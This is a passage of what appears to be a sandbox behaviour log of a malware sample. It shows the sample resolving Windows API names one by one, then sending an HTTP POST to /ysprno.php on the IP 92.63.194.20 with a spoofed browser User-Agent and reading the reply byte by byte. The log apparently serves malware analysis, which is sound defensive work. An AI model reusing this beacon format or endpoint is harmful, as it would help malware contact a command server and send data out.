lpString1=0x2e7eb64, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0101.522] lstrlenA (lpString="COPYLZFILE") returned 10 [0101.522] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0101.522] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0101.522] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0101.525] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0101.525] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0101.525] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0101.525] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0101.525] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0101.525] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0101.525] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0101.525] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0101.525] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0101.525] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0101.525] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0101.525] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0101.525] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0101.525] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0101.525] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0101.525] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0101.525] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0101.525] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0101.525] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0101.525] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0101.525] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0101.525] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0101.525] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0101.525] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0101.525] lstrlenA (lpString="CREATEEVENTA") returned 12 [0101.525] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0101.525] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0101.525] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0101.525] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0101.526] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0101.526] lstrlenA (lpString="CREATEEVENTW") returned 12 [0101.526] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0101.526] lstrlenA (lpString="CREATEFIBER") returned 11 [0101.526] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0101.526] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0101.526] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0101.526] lstrlenA (lpString="CREATEFILE2") returned 11 [0101.526] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0101.526] lstrlenA (lpString="CREATEFILEA") returned 11 [0101.526] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0101.526] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0101.526] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0101.526] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0101.526] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0101.526] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0101.526] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0101.526] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0101.526] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0101.526] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0101.526] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0101.526] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0101.526] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0101.526] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0101.526] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0101.526] lstrlenA (lpString="CREATEFILEW") returned 11 [0101.526] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0101.526] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0101.526] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0101.527] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0101.527] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0101.527] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0101.527] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0101.527] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0101.527] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0101.527] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0101.527] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0101.527] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0101.527] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0101.527] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0101.527] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0101.527] lstrlenA (lpString="CREATEJOBSET") returned 12 [0101.527] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0101.527] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0101.527] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0101.527] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0101.527] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0101.527] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0101.527] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0101.527] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0101.527] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0101.527] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0101.527] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0101.527] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0101.527] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0101.527] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0101.527] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0101.527] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0101.527] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0101.527] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0101.528] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0101.528] lstrlenA (lpString="CREATEPIPE") returned 10 [0101.528] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0101.528] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0101.528] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0101.528] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0101.528] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0101.528] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0101.528] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0101.528] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0101.528] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0101.528] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0101.528] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0101.528] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0101.528] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0101.528] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0101.528] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0101.528] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0101.528] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0101.528] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0101.528] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0101.528] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0101.528] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0101.528] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0101.528] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0101.528] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0101.528] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0101.528] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0101.528] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0101.528] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0101.528] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0101.528] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0101.529] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0101.529] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0101.529] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0101.529] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0101.529] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0101.529] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0101.529] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0101.529] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0101.529] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0101.529] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0101.529] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0101.529] lstrlenA (lpString="CREATETHREAD") returned 12 [0101.529] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0101.529] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0101.529] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0101.529] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0101.529] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0101.529] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0101.529] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0101.529] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0101.529] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0101.529] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0101.529] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0101.529] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0101.529] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0101.529] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0101.529] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0101.530] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0101.530] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0101.531] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0101.531] wsprintfA (in: param_1=0x3b70000, param_2="POST /%s HTTP/1.1\r\nUser-Agent: %s\r\nHost: %s\r\nContent-Type: %s\r\nContent-Length: %d\r\nConnection: Keep-Alive\r\n\r\n" | out: param_1="POST /ysprno.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko\r\nHost: 92.63.194.20\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 221\r\nConnection: Keep-Alive\r\n\r\n") returned 229 [0101.531] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0101.532] send (s=0x46c, buf=0x3b70000*, len=450, flags=0) returned 450 [0101.532] shutdown (s=0x46c, how=1) returned 0 [0101.533] recv (in: s=0x46c, buf=0x2e7f828, len=1, flags=0 | out: buf=0x2e7f828*) returned 1 [0101.565] recv (in: s=0x46c, buf=0x2e7f829, len=1, flags=0 | out: buf=0x2e7f829*) returned 1 [0101.565] recv (in: s=0x46c, buf=0x2e7f82a, len=1, flags=0 | out: buf=0x2e7f82a*) returned 1 [0101.565] recv (in: s=0x46c, buf=0x2e7f82b, len=1, flags=0 | out: buf=0x2e7f82b*) returned 1 [0101.565] recv (in: s=0x46c, buf=0x2e7f82c, len=1, flags=0 | out: buf=0x2e7f82c*) returned 1 [0101.566] recv (in: s=0x46c, buf=0x2e7f82d, len=1, flags=0 | out: buf=0x2e7f82d*) returned 1 [0101.566] recv (in: s=0x46c, buf=0x2e7f82e, len=1, flags=0 | out: buf=0x2e7f82e*) returned 1 [0101.566] recv (in: s=0x46c, buf=0x2e7f82f, len=1, flags=0 | out: buf=0x2e7f82f*) returned 1 [0101.566] recv (in: s=0x46c, buf=0x2e7f830, len=1, flags=0 | out: buf=0x2e7f830*) returned 1 [0101.566] recv (in: s=0x46c, buf=0x2e7f831, len=1, flags=0 | out: buf=0x2e7f831*) returned 1 [0101.566] recv (in: s=0x46c, buf=0x2e7f832, len=1, flags=0 | out: buf=0x2e7f832*) returned 1 [0101.566] recv (in: s=0x46c, buf=0x2e7f833, len=1, flags=0 | out: buf=0x2e7f833*) returned 1 [0101.566] recv (in: s=0x46c, buf=0x2e7f834, len=1, flags=0 | out: buf=0x2e7f834*) returned 1 [0101.566] recv (in: s=0x46c, buf=0x2e7f835, len=1, flags=0 | out: buf=0x2e7f835*) returned 1 [0101.566] recv (in: s=0x46c, buf=0x2e7f836, len=1, flags=0 | out: buf=0x2e7f836*) returned 1 [0101.567] recv (in: s=0x46c, buf=0x2e7f837, len=1, flags=0 | out: buf=0x2e7f837*) returned 1 [0101.567] recv (in: s=0x46c, buf=0x2e7f838, len=1, flags=0 | out: buf=0x2e7f838*) returned 1 [0101.567] recv (in: s=0x46c, buf=0x2e7f839, len=1, flags=0 | out: buf=0x2e7f839*) returned 1 [0101.567] recv (in: s=0x46c, buf=0x2e7f83a, len=1, flags=0 | out: buf=0x2e7f83a*) returned 1 [0101.567] recv (in: s=0x46c, buf=0x2e7f83b, len=1, flags=0 | out: buf=0x2e7f83b*) returned 1 [0101.567] recv (in: s=0x46c, buf=0x2e7f83c, len=1, flags=0 | out: buf=0x2e7f83c*) returned 1 [0101.567] recv (in: s=0x46c, buf=0x2e7f83d, len=1, flags=0 | out: buf=0x2e7f83d*) returned 1 [0101.567] recv (in: s=0x46c, buf=0x2e7f83e, len=1, flags=0 | out: buf=0x2e7f83e*) returned 1 [0101.567] recv (in: s=0x46c, buf=0x2e7f83f, len=1, flags=0 | out: buf=0x2e7f83f*) returned 1 [0101.567] recv (in: s=0x46c, buf=0x2e7f840, len=1, flags=0 | out: buf=0x2e7f840*) returned 1 [0101.567] recv (in: s=0x46c, buf=0x2e7f841, len=1, flags=0 | out: buf=0x2e7f841*) returned 1 [0101.568] recv (in: s=0x46c, buf=0x2e7f842, len=1, flags=0 | out: buf=0x2e7f842*) returned 1 [0101.568] recv (in: s=0x46c, buf=0x2e7f843, len=1, flags=0 | out: buf=0x2e7f843*) returned 1 [0101.568] recv (in: s=0x46c, buf=0x2e7f844, len=1, flags=0 | out: buf=0x2e7f844*) returned 1 [0101.568] recv (in: s=0x46c, buf=0x2e7f845, len=1, flags=0 | out: buf=0x2e7f845*) returned 1 [0101.568] recv (in: s=0x46c, buf=0x2e7f846, len=1, flags=0 | out: buf=0x2e7f846*) returned 1 [0101.568] recv (in: s=0x46c, buf=0x2e7f847, len=1, flags=0 | out: buf=0x2e7f847*) returned 1 [0101.568] recv (in: s=0x46c, buf=0x2e7f848, len=1, flags=0 | out: buf=0x2e7f848*) returned 1 [0101.568] recv (in: s=0x46c, buf=0x2e7f849, len=1, flags=0 | out: buf=0x2e7f849*) returned 1 [0101.568] recv (in: s=0x46c, buf=0x2e7f84a, len=1, flags=0 | out: buf=0x2e7f84a*) returned 1 [0101.568] recv (in: s=0x46c, buf=0x2e7f84b, len=1, flags=0 | out: buf=0x2e7f84b*) returned 1 [0101.568] recv (in: s=0x46c, buf=0x2e7f84c, len=1, flags=0 | out: buf=0x2e7f84c*) returned 1 [0101.569] recv (in: s=0x46c, buf=0x2e7f84d, len=1, flags=0 | out: buf=0x2e7f84d*) returned 1 [0101.569] recv (in: s=0x46c, buf=0x2e7f84e, len=1, flags=0 | out: buf=0x2e7f84e*) returned 1 [0101.569] recv (in: s=0x46c, buf=0x2e7f84f, len=1, flags=0 | out: buf=0x2e7f84f*) returned 1 [0101.569] recv (in: s=0x46c, buf=0x2e7f850, len=1, flags=0 | out: buf=0x2e7f850*) returned 1 [0101.569] recv (in: s=0x46c, buf=0x2e7f851, len=1, flags=0 | out: buf=0x2e7f851*) returned 1 [0101.569] recv (in: s=0x46c, buf=0x2e7f852, len=1, flags=0 | out: buf=0x2e7f852*) returned 1 [0101.569] recv (in: s=0x46c, buf=0x2e7f853, len=1, flags=0 | out: buf=0x2e7f853*) returned 1 [0101.569] recv (in: s=0x46c, buf=0x2e7f854, len=1, flags=0 | out: buf=0x2e7f854*) returned 1 [0101.569] recv (in: s=0x46c, buf=0x2e7f855, len=1, flags=0 | out: buf=0x2e7f855*) returned 1 [0101.569] recv (in: s=0x46c, buf=0x2e7f856, len=1, flags=0 | out: buf=0x2e7f856*) returned 1 [0101.570] recv (in: s=0x46c, buf=0x2e7f857, len=1, flags=0 | out: buf=0x2e7f857*) returned 1 [0101.570] recv (in: s=0x46c, buf=0x2e7f858, len=1, flags=0 | out: buf=0x2e7f858*) returned 1 [0101.570] recv (in: s=0x46c, buf=0x2e7f859, len=1, flags=0 | out: buf=0x2e7f859*) returned 1 [0101.570] recv (in: s=0x46c, buf=0x2e7f85a, len=1, flags=0 | out: buf=0x2e7f85a*) returned 1 [0101.570] recv (in: s=0x46c, buf=0x2e7f85b, len=1, flags=0 | out: buf=0x2e7f85b*) returned 1 [0101.570] recv (in: s=0x46c, buf=0x2e7f85c, len=1, flags=0 | out: buf=0x2e7f85c*) returned 1 [0101.570] recv (in: s=0x46c, buf=0x2e7f85d, len=1, flags=0 | out: buf=0x2e7f85d*) returned 1 [0101.570] recv (in: s=0x46c, buf=0x2e7f85e, len=1, flags=0 | out: buf=0x2e7f85e*) returned 1 [0101.570] recv (in: s=0x46c, buf=0x2e7f85f, len=1, flags=0 | out: buf=0x2e7f85f*) returned 1 [0101.570] recv (in: s=0x46c, buf=0x2e7f860, len=1, flags=0 | out: buf=0x2e7f860*) returned 1 [0101.570] recv (in: s=0x46c, buf=0x2e7f861, len=1, flags=0 | out: buf=0x2e7f861*) returned 1 [0101.571] recv (in: s=0x46c, buf=0x2e7f862, len=1, flags=0 | out: buf=0x2e7f862*) returned 1 [0101.571] recv (in: s=0x46c, buf=0x2e7f863, len=1, flags=0 | out: buf=0x2e7f863*) returned 1 [0101.571] recv (in: s=0x46c, buf=0x2e7f864, len=1, flags=0 | out: buf=0x2e7f864*) returned 1 [0101.571] recv (in: s=0x46c, buf=0x2e7f865, len=1, flags=0 | out: buf=0x2e7f865*) returned 1 [0101.571] recv (in: s=0x46c, buf=0x2e7f866, len=1, flags=0 | out: buf=0x2e7f866*) returned 1 [0101.571] recv (in: s=0x46c, buf=0x2e7f867, len=1, flags=0 | out: buf=0x2e7f867*) returned 1 [0101.571] recv (in: s=0x46c, buf=0x2e7f868, len=1, flags=0 | out: buf=0x2e7f868*) returned 1 [0101.571] recv (in: s=0x46c, buf=0x2e7f869, len=1, flags=0 | out: buf=0x2e7f869*) returned 1 [0101.571] recv (in: s=0x46c, buf=0x2e7f86a, len=1, flags=0 | out: buf=0x2e7f86a*) returned 1 [0101.571] recv (in: s=0x46c, buf=0x2e7f86b, len=1, flags=0 | out: buf=0x2e7f86b*) returned 1 [0101.571] recv (in: s=0x46c, buf=0x2e7f86c, len=1, flags=0 | out: buf=0x2e7f86c*) returned 1 [0101.571] recv (in: s=0x46c, buf=0x2e7f86d, len=1, flags=0 | out: buf=0x2e7f86d*) returned 1 [0101.572] recv (in: s=0x46c, buf=0x2e7f86e, len=1, flags=0 | out: buf=0x2e7f86e*) returned 1 [0101.572] recv (in: s=0x46c, buf=0x2e7f86f, len=1, flags=0 | out: buf=0x2e7f86f*) returned 1 [0101.572] recv (in: s=0x46c, buf=0x2e7f870, len=1, flags=0 | out: buf=0x2e7f870*) returned 1 [0101.572] recv (in: s=0x46c, buf=0x2e7f871, len=1, flags=0 | out: buf=0x2e7f871*) returned 1 [0101.572] recv (in: s=0x46c, buf=0x2e7f872, len=1, flags=0 | out: buf=0x2e7f872*) returned 1 [0101.572] recv (in: s=0x46c, buf=0x2e7f873, len=1, flags=0 | out: buf=0x2e7f873*) returned 1 [0101.572] recv (in: s=0x46c, buf=0x2e7f874, len=1, flags=0 | out: buf=0x2e7f874*) returned 1 [0101.572] recv (in: s=0x46c, buf=0x2e7f875, len=1, flags=0 | out: buf=0x2e7f875*) returned 1 [0101.572] recv (in: s=0x46c, buf=0x2e7f876, len=1, flags=0 | out: buf=0x2e7f876*) returned 1 [0101.572] recv (in: s=0x46c, buf=0x2e7f877, len=1, flags=0 | out: buf=0x2e7f877*) returned 1 [0101.572] recv (in: s=0x46c, buf=0x2e7f878, len=1, flags=0 | out: buf=0x2e7f878*) returned 1 [0101.572] recv (in: s=0x46c, buf=0x2e7f879, len=1, flags=0 | out: buf=0x2e7f879*) returned 1 [0101.573] recv (in: s=0x46c, buf=0x2e7f87a, len=1, flags=0 | out: buf=0x2e7f87a*) returned 1 [0101.573] recv (in: s=0x46c, buf=0x2e7f87b, len=1, flags=0 | out: buf=0x2e7f87b*) returned 1 [0101.573] recv (in: s=0x46c, buf=0x2e7f87c, len=1, flags=0 | out: buf=0x2e7f87c*) returned 1 [0101.573] recv (in: s=0x46c, buf=0x2e7f87d, len=1, flags=0 | out: buf=0x2e7f87d*) returned 1 [0101.573] recv (in: s=0x46c, buf=0x2e7f87e, len=1, flags=0 | out: buf=0x2e7f87e*) returned 1 [0101.573] recv (in: s=0x46c, buf=0x2e7f87f, len=1, flags=0 | out: buf=0x2e7f87f*) returned 1 [0101.573] recv (in: s=0x46c, buf=0x2e7f880, len=1, flags=0 | out: buf=0x2e7f880*) returned 1 [0101.573] recv (in: s=0x46c, buf=0x2e7f881, len=1, flags=0 | out: buf=0x2e7f881*) returned 1 [0101.573] recv (in: s=0x46c, buf=0x2e7f882, len=1, flags=0 | out: buf=0x2e7f882*) returned 1 [0101.573] recv (in: s=0x46c, buf=0x2e7f883, len=1, flags=0 | out: buf=0x2e7f883*) returned 1 [0101.573] recv (in: s=0x46c, buf=0x2e7f884, len=1, flags=0 | out: buf=0x2e7f884*) returned 1 [0101.573] recv (in: s=0x46c, buf=0x2e7f885, len=1, flags=0 | out: buf=0x2e7f885*) returned 1 [0101.573] recv (in: s=0x46c, buf=0x2e7f886, len=1, flags=0 | out: buf=0x2e7f886*) returned 1 [0101.574] recv (in: s=0x46c, buf=0x2e7f887, len=1, flags=0 | out: buf=0x2e7f887*) returned 1 [0101.574] recv (in: s=0x46c, buf=0x2e7f888, len=1, flags=0 | out: 